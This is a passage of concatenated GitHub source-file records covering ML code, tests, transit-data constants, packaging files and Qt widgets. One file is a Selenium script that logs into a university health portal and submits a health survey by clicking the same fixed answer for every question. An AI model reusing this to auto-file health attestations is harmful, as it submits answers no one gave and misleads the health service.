ValueError:\r\n pass\r\nexcept IOError as err:\r\n print('File Error:' + str(err))\r\nprint(man)\r\nprint(other)\r\n\r\ntry:\r\n with open('man_file.pickle',mode='wb') as man_file, open('other_file.pickle', mode='wb') as other_file:\r\n pickle.dump(man,man_file)\r\n pickle.dump(other, other_file)\r\nexcept pickle.PickleError as ex:\r\n print('Pickle Error:' + str(ex))\r\n\r\n", "source": "tdean1995/HFPythonSandbox", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\nimport selenium, time, os, platform\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom getpass import getpass\nimport info \n\nusername = info.username\npw = info.password\n\nif username ==\"\":\n username = input(\"Enter your BU username:\")\nif pw ==\"\":\n pw = getpass(\"Enter your password:\")\n\n#check operating system (windows or mac)\nosys = platform.system()\n\nif osys == 'Windows':\n # PATH = \"C:\\Program Files (x86)\\ChromeDriver\\chromedriver.exe\"\n # web = webdriver.Chrome(PATH)\n web = webdriver.Chrome('chromedriver.exe')\n \n\nelif osys == 'Darwin':\n web = webdriver.Chrome()\n# make sure this path is correct\n\nstart = time.time()\n\nweb.get('https://www.bu.edu/shs/getting-started/using-patient-connect/')\nwait = WebDriverWait(web,10)\n\nwait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id=\"post-7513\"]/p[2]/a'))).click()\n\n#switch tabs \nweb.switch_to.window(web.window_handles[1])\n\n#Log in Screen\nusername_input = wait.until(EC.presence_of_element_located((By.XPATH, '//*[@id=\"j_username\"]')))\nusername_input.send_keys(username)\n\npw_input = web.find_element_by_xpath('//*[@id=\"j_password\"]')\npw_input.send_keys(pw)\n\nlogin_button = web.find_element_by_xpath('/html/body/div[1]/div/form/button')\nlogin_button.click()\n\nprint(\"Logging in...\")\n\n# # #Click Survey Button\n\nsurvey_button = wait.until(\n EC.element_to_be_clickable((By.LINK_TEXT, 'Complete Survey'))\n )\n\nsurvey_button.click()\n\n#Click Continue Button\ntime.sleep(0.5)\ncontinue_button = wait.until(\n EC.presence_of_element_located((By.XPATH,'//*[@id=\"mainbody\"]/div[2]/div[1]/div/div[2]/a'))\n )\ncontinue_button.click()\n\n\n\n#Survey Questions\ntime.sleep(0.5)\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[2]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[3]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[4]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[5]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[6]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[7]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[8]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[9]/fieldset/div/div[1]/div').click()\nprint('Survey Complete')\n\n#Submit Survey\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/footer/div/div[2]/input').click()\nprint('Survey Submitted')\nprint('This took: %.2f seconds' % (time.time()-start))\n", "source": "angrycaptain19/BU-Patient-Connect-Shortcuts", "license": "MIT"} {"text": "import unittest\n\nimport numpy as np\n\nfrom mlscratch.models import losses\n\n\nclass TestBinaryCrossEntropy(unittest.TestCase):\n\n def setUp(self):\n self.y_true = np.array([0, 1, 0.5])\n self.y_pred = np.array([0, 1, 0.5])\n\n def test_return(self):\n bce = losses.binary_cross_entropy(self.y_true, self.y_pred)\n self.assertIsInstance(bce, np.float64)\n\n\nclass TestMeanSquaredError(unittest.TestCase):\n\n def setUp(self):\n self.y_true = np.array([0, 1])\n self.y_pred = np.array([0.3, 0.4])\n\n def test_return(self):\n mse = losses.mean_squared_error(self.y_true, self.y_pred)\n self.assertIsInstance(mse, np.float64)\n", "source": "yutayamazaki/Machine-Learning-Scratch", "license": "MIT"} {"text": "\"\"\"\nConstant values used all over the place.\nFare data is stored in fares/data.py.\n\"\"\"\n\n\n# Directories\nDIR_DOWNLOAD = \"data_src\"\nDIR_CONVERTED = \"data_feeds\"\nDIR_SINGLE_FEED = \"data_gtfs\"\nDIR_SHAPE_ERR = \"err_shapes\"\nDIR_SHAPE_CACHE = \"data_shapes\"\n\n# How long to keep Overpass data cached (in minutes)\nSHAPE_CACHE_TTL = 2 * 1440\n\n# External data sources\nFTP_ADDR = \"rozklady.ztm.waw.pl\"\n\n_BASE_GIST = \"https://gist.githubusercontent.com/MKuranowski/0ca97a012d541899cb1f859cd0bab2e7/\"\nGIST_MISSING_STOPS = _BASE_GIST + \"raw/missing_stops.json\"\nGIST_RAIL_PLATFORMS = _BASE_GIST + \"raw/rail_platforms.json\"\nGIST_STOP_NAMES = _BASE_GIST + \"raw/stop_names.json\"\n\nURL_METRO_GTFS = \"https://mkuran.pl/gtfs/warsaw/metro.zip\"\n\n# Logging attrivutes\nLOGGING_STYLE = \"{\"\nLOGGING_FMT = \"[{levelname}] {name}: {message}\"\n\n# List of rail stops used by S\u00d7 lines. Other rail stops are ignored.\nACTIVE_RAIL_STATIONS = {\n \"4900\", \"4901\", \"7900\", \"7901\", \"7902\", \"2901\", \"2900\", \"2918\", \"2917\", \"2916\", \"2915\",\n \"2909\", \"2908\", \"2907\", \"2906\", \"2905\", \"2904\", \"2903\", \"2902\", \"4902\", \"4903\", \"4923\",\n \"4904\", \"4905\", \"2914\", \"2913\", \"2912\", \"2911\", \"2910\", \"4919\", \"3901\", \"4918\", \"4917\",\n \"4913\", \"1910\", \"1909\", \"1908\", \"1907\", \"1906\", \"1905\", \"1904\", \"1903\", \"1902\", \"1901\",\n \"7903\", \"5908\", \"5907\", \"5904\", \"5903\", \"5902\", \"1913\", \"1914\", \"1915\",\n}\n\n# Irregular stop names\nPROPER_STOP_NAMES = {\n \"1226\": \"Ma\u0144ki-Wojody\",\n \"1484\": \"Dom Samotnej Matki\",\n \"1541\": \"Marki Bandurskiego I\",\n \"2005\": \"Praga-P\u0142d. - Ratusz\",\n \"2296\": \"Szosa Lubelska\",\n \"2324\": \"Wi\u0105zowna\",\n \"4040\": \"Lotnisko Chopina\",\n \"4305\": \"Posag 7 Panien\", # theoretically \"Zajezdnia Ursus P\u0142n.\"\n \"4400\": \"Mobilis Sp. z.o.o.\",\n \"5001\": \"Po\u0142czy\u0144ska - Parking P+R\",\n \"6201\": \"Lipk\u00f3w Paschalisa-Jakubowicza\",\n}\n\n# GTFS headers\nHEADERS = {\n \"agency.txt\": [\n \"agency_id\", \"agency_name\", \"agency_url\", \"agency_timezone\",\n \"agency_lang\", \"agency_phone\", \"agency_fare_url\",\n ],\n\n \"attributions.txt\": [\n \"attribution_id\", \"organization_name\", \"is_producer\", \"is_operator\",\n \"is_authority\", \"is_data_source\", \"attribution_url\",\n ],\n\n \"feed_info.txt\": [\"feed_publisher_name\", \"feed_publisher_url\", \"feed_lang\", \"feed_version\"],\n\n \"calendar_dates.txt\": [\"service_id\", \"date\", \"exception_type\"],\n\n \"fare_attributes.txt\": [\n \"fare_id\", \"price\", \"currency_type\", \"payment_method\", \"transfers\",\n \"agency_id\", \"transfer_duration\",\n ],\n\n \"fare_rules.txt\": [\"fare_id\", \"route_id\", \"contains_id\"],\n\n \"shapes.txt\": [\n \"shape_id\", \"shape_pt_sequence\", \"shape_dist_traveled\", \"shape_pt_lat\", \"shape_pt_lon\"\n ],\n\n \"stops.txt\": [\n \"stop_id\", \"stop_name\", \"stop_lat\", \"stop_lon\", \"location_type\", \"parent_station\",\n \"zone_id\", \"stop_IBNR\", \"stop_PKPPLK\", \"platform_code\", \"wheelchair_boarding\",\n ],\n\n \"routes.txt\": [\n \"agency_id\", \"route_id\", \"route_short_name\", \"route_long_name\", \"route_type\",\n \"route_color\", \"route_text_color\", \"route_sort_order\",\n ],\n\n \"trips.txt\": [\n \"route_id\", \"service_id\", \"trip_id\", \"trip_headsign\", \"direction_id\",\n \"shape_id\", \"exceptional\", \"wheelchair_accessible\", \"bikes_allowed\",\n ],\n\n \"stop_times.txt\": [\n \"trip_id\", \"arrival_time\", \"departure_time\", \"stop_id\", \"stop_sequence\",\n \"pickup_type\", \"drop_off_type\", \"shape_dist_traveled\",\n ],\n}\n", "source": "MKuranowski/WarsawGTFS", "license": "MIT"} {"text": "from revibe.platforms.platforms import *\nfrom revibe._errors.platforms import PlatformNotFoundError\n\n# -----------------------------------------------------------------------------\n\nlinked_platforms = [\n Revibe,\n YouTube,\n Spotify,\n]\n\ndef get_platform(string):\n for platform in linked_platforms:\n if string in platform.strings:\n return platform()\n raise PlatformNotFoundError(\"Could not determine the platform based on the input {}\".format(string))\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "import torch\n\n\ndef squared_euclidean_distance(a, b):\n b = torch.transpose(b, 0, 1)\n a2 = torch.sum(torch.square(a), dim=1, keepdims=True)\n b2 = torch.sum(torch.square(b), dim=0, keepdims=True)\n ab = torch.matmul(a, b)\n d = a2 - 2 * ab + b2\n return d\n\n\ndef quantize(x, centroids):\n b, c, h, w = x.shape\n # [B, C, H, W] => [B, H, W, C]\n x = x.permute(0, 2, 3, 1).contiguous()\n x = x.view(-1, c) # flatten to pixels\n d = squared_euclidean_distance(x, centroids)\n x = torch.argmin(d, 1)\n x = x.view(b, h, w)\n return x\n\n\ndef unquantize(x, centroids):\n return centroids[x]\n", "source": "teddykoker/image-gpt", "license": "Apache-2.0"} {"text": "import torch\nimport torch.nn as nn\nfrom torch.nn import init\n\nfrom encoders import *\nfrom aggregators import *\n\nclass SupervisedGraphSage(nn.Module):\n def __init__(self, num_classes, enc, w):\n \"\"\"\n w - array of len(num_classes) indicating the weight of each class when computing\n loss.\n \"\"\"\n super(SupervisedGraphSage, self).__init__()\n self.enc = enc\n self.w = w\n self.xent = nn.CrossEntropyLoss(weight=self.w)\n self.weight = nn.Parameter(torch.FloatTensor(num_classes, enc.embed_dim))\n init.xavier_uniform_(self.weight)\n\n def forward(self, nodes):\n embeds = self.enc(nodes)\n scores = self.weight.mm(embeds)\n return scores.t()\n\n def loss(self, nodes, labels):\n scores = self.forward(nodes)\n return self.xent(scores, labels.squeeze())\n\n\ndef createGNN(args, features, adj_list, num_features, class_weights):\n if args.model_type == 'GraphSage':\n agg1 = MeanAggregator(features, cuda=False)\n enc1 = Encoder(features, num_features, args.hidden_dim, adj_list, agg1, gcn=False, cuda=False)\n enc1.num_samples = 25 # Sample 25 neighbors when aggregating.\n return SupervisedGraphSage(len(class_weights), enc1, torch.FloatTensor(class_weights))\n", "source": "jestjest/cs224w-project", "license": "MIT"} {"text": "import unittest\n\nfrom main import Polski\n\n\nclass PolskiTest(unittest.TestCase):\n def setUp(self):\n self.polski = Polski()\n", "source": "Matt-Deacalion/Polskie", "license": "MIT"} {"text": "\"\"\"Tests for Pipeline class\"\"\"\nimport pytest\nfrom cognigraph.nodes.pipeline import Pipeline\nimport numpy as np\nfrom numpy.testing import assert_array_equal\nfrom cognigraph.tests.prepare_pipeline_tests import (\n create_dummy_info,\n ConcreteSource,\n ConcreteProcessor,\n ConcreteOutput,\n)\n\n\n@pytest.fixture(scope=\"function\")\ndef pipeline():\n source = ConcreteSource()\n processor = ConcreteProcessor()\n output = ConcreteOutput()\n pipeline = Pipeline()\n pipeline.add_child(source)\n source.add_child(processor)\n processor.add_child(output)\n return pipeline\n\n\ndef test_pipeline_initialization(pipeline):\n pipeline.chain_initialize()\n source = pipeline._children[0]\n processor = source._children[0]\n output = processor._children[0]\n assert source._initialized\n assert source.mne_info is not None\n assert source.mne_info[\"nchan\"] == source.nchan\n assert processor._initialized\n assert output._initialized\n\n\ndef test_pipeline_update(pipeline):\n \"\"\"Update all pipeline nodes twice and check outputs\"\"\"\n pipeline.chain_initialize()\n src = pipeline._children[0]\n proc = src._children[0]\n out = proc._children[0]\n\n nch = src.nchan\n nsamp = src.nsamp\n pr_inc = proc.increment\n out_inc = out.increment\n\n pipeline.update()\n\n assert_array_equal(src.output, np.zeros([nch, nsamp]))\n assert_array_equal(proc.output, np.zeros([nch, nsamp]) + pr_inc)\n assert_array_equal(out.output, proc.output + out_inc)\n\n pipeline.update()\n\n assert_array_equal(src.output, np.ones([nch, nsamp]))\n assert_array_equal(proc.output, np.ones([nch, nsamp]) + pr_inc * 2)\n assert_array_equal(out.output, proc.output + out_inc * 2)\n\n\ndef test_reset_mechanics(pipeline):\n \"\"\"\n Test if upstream output shape changes when changing number of channels in\n source via _mne_info, test if src._on_critical_attr_changed is called when\n this happens, test if it triggers reinitialization for node for\n which _mne_info is in UPSTREAM_CHANGES_IN_THESE_REQUIRE_REINITIALIZATION,\n finally test if history invalidation mechanics works.\n\n \"\"\"\n src = pipeline._children[0]\n proc = src._children[0]\n out = proc._children[0]\n\n pipeline.chain_initialize()\n pipeline.update()\n new_nchan = 43\n new_info = create_dummy_info(nchan=new_nchan)\n\n assert src.n_resets == 0\n assert proc.n_initializations == 1\n assert proc.n_hist_invalidations == 0\n src._mne_info = new_info\n pipeline.update()\n assert src.n_resets == 1\n for i in range(3):\n pipeline.update()\n pipeline.update()\n assert np.all(out.output)\n assert out.output.shape[0] == new_nchan\n assert proc.n_initializations == 2\n assert proc.n_hist_invalidations == 1\n\n\ndef test_add_child_on_the_fly(pipeline):\n src = pipeline._children[0]\n pipeline.chain_initialize()\n pipeline.update()\n new_processor = ConcreteProcessor(increment=0.2)\n src.add_child(new_processor, initialize=True)\n pipeline.update()\n\n nch = src.nchan\n nsamp = src.nsamp\n assert_array_equal(\n new_processor.output, np.ones([nch, nsamp]) + new_processor.increment\n )\n assert new_processor._root is pipeline\n\n\n# def test_critical_upstream_change_happened(pipeline):\n# src = pipeline._children[0]\n# proc = src._children[0]\n# pipeline.chain_initialize()\n# pipeline.update()\n", "source": "ossadtchi/cognigraph", "license": "MIT"} {"text": "from setuptools import setup, find_packages\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\nwith open(path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='artssat', # Required\n version='0.0.5', # Required\n description='High-level simulation and retrieval framework for microwave and IR remote sensing.',\n long_description=long_description,\n long_description_content_type='text/markdown', # Optional (see note above)\n url='https://github.com/simonpf/artssat', # Optional\n author='Simon Pfreundschuh', # Optional\n author_email='simon.pfreundschuh@chalmers.se', # Optional\n install_requires=[\"pyarts\", \"typhon\", \"netCDF4\"],\n packages=find_packages(exclude=['examples', 'doc', 'misc', 'tests']),\n python_requires='>=3.6',\n project_urls={ # Optional\n 'Source': 'https://github.com/simonpf/artssat/',\n })\n", "source": "simonpf/pARTS", "license": "MIT"} {"text": "import unittest\ntry:\n from unittest.mock import Mock\nexcept ImportError:\n from mock import Mock\nfrom cartoframes.viz import helpers, Source\n\n\nclass TestColorContinuousLayerHelper(unittest.TestCase):\n def setUp(self):\n self.orig_compute_query_bounds = Source._compute_query_bounds\n Source._compute_query_bounds = Mock(return_valye=None)\n\n def tearDown(self):\n Source._compute_query_bounds = self.orig_compute_query_bounds\n\n def test_helpers(self):\n \"should be defined\"\n self.assertNotEqual(helpers.color_continuous_layer, None)\n\n def test_color_continuous_layer(self):\n \"should create a layer with the proper attributes\"\n Source._get_geom_type = Mock(return_value='point')\n\n layer = helpers.color_continuous_layer(\n source='sf_neighborhoods',\n value='name'\n )\n\n self.assertNotEqual(layer.style, None)\n self.assertEqual(layer.style._style['point']['color'], 'ramp(linear($name), bluyl)')\n self.assertEqual(layer.style._style['line']['color'], 'ramp(linear($name), bluyl)')\n self.assertEqual(layer.style._style['polygon']['color'], 'opacity(ramp(linear($name), bluyl), 0.9)')\n self.assertNotEqual(layer.popup, None)\n self.assertEqual(layer.popup._hover, [{\n 'title': 'name',\n 'value': '$name'\n }])\n\n self.assertNotEqual(layer.legend, None)\n self.assertEqual(layer.legend._type['point'], 'color-continuous-point')\n self.assertEqual(layer.legend._type['line'], 'color-continuous-line')\n self.assertEqual(layer.legend._type['polygon'], 'color-continuous-polygon')\n self.assertEqual(layer.legend._title, 'name')\n self.assertEqual(layer.legend._description, '')\n self.assertEqual(layer.legend._footer, '')\n\n def test_color_continuous_layer_point(self):\n \"should create a point type layer\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n 'Neighborhoods',\n palette='prism'\n )\n\n self.assertEqual(\n layer.style._style['point']['color'],\n 'ramp(linear($name), prism)'\n )\n\n def test_color_continuous_layer_line(self):\n \"should create a line type layer\"\n Source._get_geom_type = Mock(return_value='line')\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n 'Neighborhoods',\n palette='[blue,#F00]'\n )\n\n self.assertEqual(\n layer.style._style['line']['color'],\n 'ramp(linear($name), [blue,#F00])'\n )\n\n def test_color_continuous_layer_polygon(self):\n \"should create a polygon type layer\"\n Source._get_geom_type = Mock(return_value='polygon')\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n 'Neighborhoods',\n palette=['blue', '#F00']\n )\n\n self.assertEqual(\n layer.style._style['polygon']['color'],\n 'opacity(ramp(linear($name), [blue,#F00]), 0.9)'\n )\n\n def test_color_continuous_layer_legend(self):\n \"should show/hide the legend\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n legend=False\n )\n\n self.assertEqual(layer.legend._type, '')\n self.assertEqual(layer.legend._title, '')\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n legend=True\n )\n\n self.assertEqual(layer.legend._type, {\n 'point': 'color-continuous-point',\n 'line': 'color-continuous-line',\n 'polygon': 'color-continuous-polygon'\n })\n self.assertEqual(layer.legend._title, 'name')\n\n def test_color_continuous_layer_popup(self):\n \"should show/hide the popup\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n popup=False\n )\n\n self.assertEqual(layer.popup._hover, [])\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n popup=True\n )\n\n self.assertEqual(layer.popup._hover, [{\n 'title': 'name',\n 'value': '$name'\n }])\n\n def test_color_continuous_layer_widget(self):\n \"should show/hide the widget\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n widget=False\n )\n\n self.assertEqual(layer.widgets._widgets, [])\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n widget=True\n )\n\n self.assertEqual(layer.widgets._widgets[0]._type, 'histogram')\n self.assertEqual(layer.widgets._widgets[0]._title, 'Distribution')\n\n def test_color_continuous_layer_animate(self):\n \"should animate a property and disable the popups\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n animate='time'\n )\n\n self.assertEqual(layer.popup._hover, [])\n self.assertEqual(layer.widgets._widgets[0]._type, 'time-series')\n self.assertEqual(layer.widgets._widgets[0]._title, 'Animation')\n self.assertEqual(layer.widgets._widgets[0]._value, 'time')\n", "source": "CristianPachacama/cartoframes", "license": "BSD-3-Clause"} {"text": "name = \"doxygen\"\n\nversion = \"1.8.18\"\n\nauthors = [\n \"Dimitri van Heesch\"\n]\n\ndescription = \\\n \"\"\"\n Doxygen is the de facto standard tool for generating documentation from annotated C++ sources, but it also supports\n other popular programming languages such as C, Objective-C, C#, PHP, Java, Python, IDL (Corba, Microsoft, and\n UNO/OpenOffice flavors), Fortran, VHDL, and to some extent D.\n \"\"\"\n\nrequires = [\n \"bison-3+\",\n \"cmake-3+\",\n \"flex-2+\",\n \"gcc-6+\",\n \"python-2.7+<3\"\n]\n\nvariants = [\n [\"platform-linux\"]\n]\n\ntools = [\n]\n\nbuild_system = \"cmake\"\n\nwith scope(\"config\") as config:\n config.build_thread_count = \"logical_cores\"\n\nuuid = \"doxygen-{version}\".format(version=str(version))\n\ndef commands():\n env.PATH.prepend(\"{root}/bin\")\n\n # Helper environment variables.\n env.DOXYGEN_BINARY_PATH.set(\"{root}/bin\")\n", "source": "OSS-Pipeline/rez-doxygen", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n''' Widgets for displaying argparse arguments in a GUI '''\n\nimport argparse\n\nfrom qtpy import QtCore, QtWidgets\n\nfrom . import groupingTools, wrappedWidgets\n\nclass ArgDialog(QtWidgets.QDialog):\n\t''' A simple settings dialog containing a single ArgparseWidget and stardard ok/cancel dialog buttons '''\n\n\tvalueAdjusted = QtCore.Signal()\n\n\tdef __init__(self, argParser, orphanGroupName='Main', parent=None):\n\t\tsuper().__init__(parent)\n\n\t\tself.argParser = argParser\n\t\tself.argparseWidget = ArgparseListWidget(self.argParser, orphanGroupName)\n\t\tself.argparseWidget.valueAdjusted.connect(self.valueAdjusted.emit)\n\n\t\tself.setWindowTitle('Settings')\n\n\t\tself.buttons = QtWidgets.QDialogButtonBox(self)\n\t\tself.buttons.addButton(QtWidgets.QDialogButtonBox.Ok)\n\t\tself.buttons.addButton(QtWidgets.QDialogButtonBox.Cancel)\n\n\t\tself.setLayout(QtWidgets.QVBoxLayout())\n\t\tself.layout().addWidget(self.argparseWidget)\n\t\tself.layout().addWidget(self.buttons)\n\n\t\tself.buttons.accepted.connect(self.accept)\n\t\tself.buttons.rejected.connect(self.reject)\n\n\t\tself.resize(800, 400)\n\n\tdef setValues(self, values):\n\t\treturn self.argparseWidget.setValues(values)\n\n\tdef getValues(self):\n\t\treturn self.argparseWidget.getValues()\n\nclass ArgparseListWidget(QtWidgets.QWidget):\n\t''' A widget with a list of argparse groups in a listbox on the left, and stacked ArgGroupWidgets on the right.\n\t\tThis widget can be embedded into dialogs, windows, and other widgets\n\n\t\tClicking a group in the list on the left will display the settings for that group on the right\n\t'''\n\n\tvalueAdjusted = QtCore.Signal()\n\n\tdef __init__(self, argParser, orphanGroupName, parent=None):\n\t\tsuper().__init__(parent)\n\n\t\tself.argParser = argParser\n\t\tself.groupedParser = groupingTools.organizeIntoGroups(self.argParser)\n\t\tself.setLayout(QtWidgets.QHBoxLayout())\n\n\t\tself.groupList = QtWidgets.QListWidget(self)\n\t\tself.widgetStack = QtWidgets.QStackedWidget(self)\n\n\t\tself.groupList.setMaximumWidth(100)\n\t\tself.layout().addWidget(self.groupList)\n\t\tself.layout().addWidget(self.widgetStack, stretch=1)\n\n\t\tself.orphanGroupname = orphanGroupName\n\n\t\tfor group,arguments in self.groupedParser.items():\n\t\t\tif group.title in ['positional arguments', 'optional arguments']:\n\t\t\t\tgroupName = self.orphanGroupname\n\t\t\t\tif self.widgetStack.count() > 0:\n\t\t\t\t\tgroupWidget = self.widgetStack.widget(0)\n\t\t\t\telse:\n\t\t\t\t\tgroupWidget = self._addGroup(groupName, self.argParser.description)\n\t\t\telse:\n\t\t\t\tgroupName = group.title\n\t\t\t\tgroupWidget = self._addGroup(groupName, group.description)\n\n\t\t\tgroupWidget.addArguments(arguments.values())\n\n\t\tself.groupList.setCurrentRow(0)\n\t\tself.groupList.currentRowChanged.connect(self.widgetStack.setCurrentIndex)\n\t\tif self.groupList.count() == 1:\n\t\t\tself.groupList.hide()\n\n\tdef _addGroup(self, name, description):\n\t\tself.groupList.addItem(name)\n\t\tgroupWidget = ArgGroupWidget(name, description=description)\n\t\tgroupWidget.valueAdjusted.connect(self.valueAdjusted.emit)\n\t\tself.widgetStack.addWidget(groupWidget)\n\n\t\treturn groupWidget\n\n\tdef setValues(self, values):\n\t\tfor i in range(self.widgetStack.count()):\n\t\t\tgroupName = self.groupList.item(i).text()\n\t\t\tif groupName in values:\n\t\t\t\tself.widgetStack.widget(i).setValues(values[groupName])\n\t\t\telse:\n\t\t\t\tself.widgetStack.widget(i).setValues(values)\n\n\tdef getValues(self):\n\t\tsettings = {}\n\t\tfor i in range(self.widgetStack.count()):\n\t\t\tgroupName = self.groupList.item(i).text()\n\t\t\tif groupName == self.orphanGroupname:\n\t\t\t\tsettings = {**settings, **self.widgetStack.widget(i).getValues()}\n\t\t\telse:\n\t\t\t\tsettings[groupName] = self.widgetStack.widget(i).getValues()\n\n\t\treturn settings\n\nclass ArgGroupWidget(QtWidgets.QWidget):\n\t''' Container for a group of argument widgets\n\n\t\tThis widget can be embedded into other containers if you wanted, say, a tabbed-based view\n\t'''\n\n\tvalueAdjusted = QtCore.Signal()\n\n\tdef __init__(self, name, arguments=[], description=None, parent=None):\n\t\tsuper().__init__(parent)\n\t\tself.name = name\n\n\t\tself.setLayout(QtWidgets.QVBoxLayout())\n\t\tself.layout().setAlignment(QtCore.Qt.AlignTop)\n\t\tself.form = QtWidgets.QWidget()\n\t\tself.form.setLayout(QtWidgets.QFormLayout())\n\t\tself.form.layout().setHorizontalSpacing(32)\n\n\t\tif description is None:\n\t\t\ttext = QtWidgets.QLabel(f'

{name}

')\n\t\telse:\n\t\t\ttext = QtWidgets.QLabel(f'

{name}

{description}

')\n\n\t\ttext.setWordWrap(True)\n\t\tself.layout().addWidget(text)\n\t\tself.layout().addWidget(self.form)\n\n\t\tself.addArguments(arguments)\n\n\tdef onValueChanged(self, _):\n\t\tself.valueAdjusted.emit()\n\n\tdef addArguments(self, arguments):\n\t\tfor argument in arguments:\n\t\t\twidget = wrappedWidgets.makeWidget(argument, self)\n\t\t\twidget.valueChanged.connect(self.onValueChanged)\n\n\t\t\thelpText = argument.help\n\t\t\twidget.setToolTip(helpText)\n\t\t\twidget.setWhatsThis(helpText)\n\n\t\t\tself.form.layout().addRow(argument.dest, widget)\n\n\tdef setValues(self, values):\n\t\tfor row in range(self.form.layout().rowCount()):\n\t\t\titemName = self.form.layout().itemAt(row, QtWidgets.QFormLayout.LabelRole).widget().text()\n\t\t\tif itemName in values:\n\t\t\t\twidget = self.form.layout().itemAt(row, QtWidgets.QFormLayout.FieldRole).widget()\n\t\t\t\twidget.setValue(values[itemName])\n\n\tdef getValues(self):\n\t\tvalues = {}\n\t\tfor row in range(self.form.layout().rowCount()):\n\t\t\titemName = self.form.layout().itemAt(row, QtWidgets.QFormLayout.LabelRole).widget().text()\n\t\t\titemValue = self.form.layout().itemAt(row, QtWidgets.QFormLayout.FieldRole).widget().value()\n\n\t\t\tvalues[itemName] = itemValue\n\n\t\treturn values\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from functools import wraps\n\nfrom qtpy import QtWidgets\n\nfrom .histogram import HistogramWidget, HistogramModel, HistogramController\nfrom .pdsspect_image_set import PDSSpectImageSetViewBase\n\n\nclass BasicHistogramModel(HistogramModel):\n \"\"\"Model for the hhistograms in the Basic Widgets\n\n Attributes\n ---------\n connected_models : :obj:`list`\n Other :class:`BasicHistogramModel` for other histograms\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(BasicHistogramModel, self).__init__(*args, **kwargs)\n self.connected_models = []\n\n def check_model_type(func):\n @wraps(func)\n def wrapper(self, model):\n if not isinstance(model, BasicHistogramModel):\n raise ValueError(\"Model must be a BasicHistogramModel object\")\n return func(self, model)\n return wrapper\n\n @check_model_type\n def connect_model(self, model):\n \"\"\"Connect another model to this model\n\n Attributes\n ----------\n model : :class:`BasicHistogramModel`\n Connect the model to current model\n\n Raises\n ------\n ValueError\n When :attr:`model` is not :class:`BasicHistogramModel`\n \"\"\"\n\n if model not in self.connected_models:\n self.connected_models.append(model)\n model.cuts = self.cuts\n\n @check_model_type\n def disconnect_model(self, model):\n \"\"\"Disconnect another model from this model\n\n Attributes\n ----------\n model : :class:`BasicHistogramModel`\n Disconnect the model from current model\n\n Raises\n ------\n ValueError\n When :attr:`model` is not :class:`BasicHistogramModel`\n \"\"\"\n\n if model in self.connected_models:\n self.connected_models.remove(model)\n\n def disconnect_from_all_models(self):\n \"\"\"Disconnect all models from this model\"\"\"\n self.connected_models = []\n\n\nclass BasicHistogramController(HistogramController):\n \"\"\"Controller for histogram views\n\n Parameters\n ----------\n model : :class:`BasicHistogramModel`\n histogram model\n view : :class:`object`\n View with :class:`BasicHistogramModel` as its model\n\n Attributes\n ----------\n model : :class:`BasicHistogramModel`\n histogram model\n view : :class:`object`\n View with :class:`BasicHistogramModel` as its model\n \"\"\"\n\n def set_cut_low(self, cut_low):\n \"\"\"Set the low cut level to a new value\n\n Parameters\n ----------\n cut_low : :obj:`float`\n New low cut value\n \"\"\"\n\n super(BasicHistogramController, self).set_cut_low(cut_low)\n for model in self.model.connected_models:\n model.cut_low = cut_low\n\n def set_cut_high(self, cut_high):\n \"\"\"Set the high cut level to a new value\n\n Parameters\n ----------\n cut_high : :obj:`float`\n New high cut value\n \"\"\"\n\n super(BasicHistogramController, self).set_cut_high(cut_high)\n for model in self.model.connected_models:\n model.cut_high = cut_high\n\n def set_cuts(self, cut_low, cut_high):\n \"\"\"Set both the low and high cut levels\n\n Parameters\n ----------\n cut_low : :obj:`float`\n New low cut value\n cut_high : :obj:`float`\n New high cut value\n \"\"\"\n\n super(BasicHistogramController, self).set_cuts(cut_low, cut_high)\n for model in self.model.connected_models:\n model.cuts = cut_low, cut_high\n\n def restore(self):\n \"\"\"Restore the histogram\"\"\"\n super(BasicHistogramController, self).restore()\n for model in self.model.connected_models:\n model.restore()\n\n\nclass BasicHistogramWidget(HistogramWidget):\n \"\"\":class:`~.pdsspect.histogram.HistogramWidget` in a different layout\"\"\"\n\n def __init__(self, *args, **kwargs):\n super(BasicHistogramWidget, self).__init__(*args, **kwargs)\n self.controller = BasicHistogramController(self.model, self)\n self.histogram.controller = BasicHistogramController(\n self.model, self.histogram\n )\n\n def _create_layout(self):\n layout = QtWidgets.QGridLayout()\n 